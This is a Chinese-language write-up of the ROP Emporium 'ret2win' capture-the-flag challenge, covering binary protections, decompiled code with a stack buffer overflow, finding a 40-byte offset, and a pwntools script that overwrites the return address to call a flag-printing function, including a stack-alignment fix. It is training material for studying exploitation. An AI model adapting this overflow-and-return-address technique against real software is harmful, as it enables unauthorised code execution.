ret2win

题目地址:ret2win

0x1

拿到题目后,首先检查一下文件类型,看看保护机制。

1
2
3
4
5
6
7
8
9
sakura@Kylin:~/下载/ret2win$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
sakura@Kylin:~/下载/ret2win$ checksec ret2win
[*] '/home/sakura/下载/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

它是一个 64 位的程序,可以看到只开启了 NX。要想绕过它,就要运用 ROP 技术了。

0x2

再把它拖进 IDA 看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("ret2win by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
int pwnme()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF

memset(s, 0, sizeof(s));
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, s, 0x38uLL);
return puts("Thank you!");
}

这里我们发现了一个 ret2win() 函数

1
2
3
4
5
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}

image-20220912214133774

这里能打印出 flag.txt ,所以我们就通过将返回地址覆盖为 0x400756,来调用这个函数。

先来看看,需要填充多少字符才能覆盖到返回地址。

老规矩启用 peda,pattern create 200 ,调试到 ret 指令,此时栈的情况如下:
image-20220912215027379

1
2
pattern offset AA0AAFAAbAA1AAGA
AA0AAFAAbAA1AAGA found at offset: 40

0x3

构建脚本 ret2win.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'

p = process("./ret2win")
gdb.attach(p, "break main")
bin_addr = 0x400756
payload = b'a'*40 + p64(bin_addr)
p.recvuntil(b"> ")
input("already...")
p.sendline(payload)
input("send payload after...")
p.recvuntil(b"Here's your flag: ")
p.interactive()
success(flag)

我在本地测试时,碰到了下面这个问题,查资料 本地测试碰到的问题及其解决方法 说是栈操作导致无法对齐 0x10 的原因。

image-20220912232441944

ret2win.py 的 bin_addr = 0x40075a 跳过栈操作,即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#context.log_level = 'debug'

p = process("./ret2win")
#gdb.attach(p, "break main")
bin_addr = 0x40075a
payload = b'a'*40 + p64(bin_addr)
p.recvuntil(b"> ")
#input("already")
p.sendline(payload)
#input("send payload after")
p.recvuntil(b"Here's your flag:\n")
flag=p.recvline()
#p.interactive()
print(flag)

结果:

image-20220912233639670